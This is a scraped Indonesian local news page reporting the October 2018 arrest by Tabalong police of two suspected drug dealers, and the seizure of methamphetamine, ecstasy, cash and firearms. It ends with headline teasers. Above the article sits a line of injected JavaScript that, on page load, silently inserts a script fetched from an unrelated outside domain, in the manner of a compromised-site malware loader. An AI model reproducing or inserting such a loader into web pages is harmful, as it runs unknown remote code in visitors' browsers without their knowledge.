(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
TANJUNG, Dua laki-laki berinisial A (37), warga Desa Banua Lawas, Kecamatan Tangkisung, Kabupaten Tanah Laut, dan S (34) warga Desa Maburai, Kecamatan Murung Pudak, Kabupaten Tabalong, diringkus Polres Tabalong. Keduanya merupakan tersangka kasus pengedaran narkoba.
Penangkapan pelaku terjadi Selasa 16 Oktober 2018 sekitar pukul 15.00 wita di Desa Bongkang Kecamatan Haruai Kabupaten Tabalong oleh personel gabungan Unit Opsnal Sat Reskrim, Unit Opsnal Sat Resnarkoba dan Polsek Haruai Polres Tabalong. Penangkapan dipimpin langsung Kasat Reskrim AKP Mars Suryo Kartiko, S.Ik dan Kasat Resnarkoba Iptu Zaenuri, SH.
Kapolres Tabalong AKBP Hardiono, S.Ik didampingi Kasat Reskrim AKP Mars Suryo Kartiko, S.Ik dan Kasat Resnarkoba Iptu Zaenuri, SH mengungkapkan, penangkapan berawal informasi ada pesta narkoba dan peredaran narkoba di sebuah pondok di Kebun Karet Desa Bongkang, Kecamatan Haruai, Kabupaten Tabalong.
Berdasarkan informasi itulah petugas polisi pun menuju lokasi. Petugas lebih waspada karena salah satu pelaku adalah DPO Polda Kalsel dalam kasus peredaran narkoba serta diketahui bahwa pelaku mempunyai senjata api.
Namun berkat kesigapan petugas, akhirnya pelaku A (37) bersama rekannya S (34) yang sempat melarikan diri ke hutan akhirnya ditangkap petugas.
Kapolres Tabalong AKBP Hardiono, S.Ik dalam Press Release, Kamis (18/10) mengucapkan terimakasih kepada masyarakat Tabalong karena sudah membantu pihak polisi dalam pemberantasan narkoba. Dari penangkapan Pelaku Bandar Narkoba di Tabalong ini, petugas menyita barang bukti dari tersangka A berupa narkoba jenis Sabu seberat 35,51 gram, 3 butir Extasy, Uang tunai sebanyak Rp 17.300.000, senjata api rakitan laras panjang, 15 butir peluru organik 9 mm, dan 2 pucuk senapan angin 2.5 mm.
Sementara barang bukti yang disita dari tersangka S berupa : 5 Paket Narkoba jenis Sabu seberat 1,29 Gram dan 7 unit kendaraan roda dua. Kini kedua orang tersebut beserta barang bukti telah diamankan ke Mapolres Tabalong guna proses pemeriksaan lebih lanjut.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.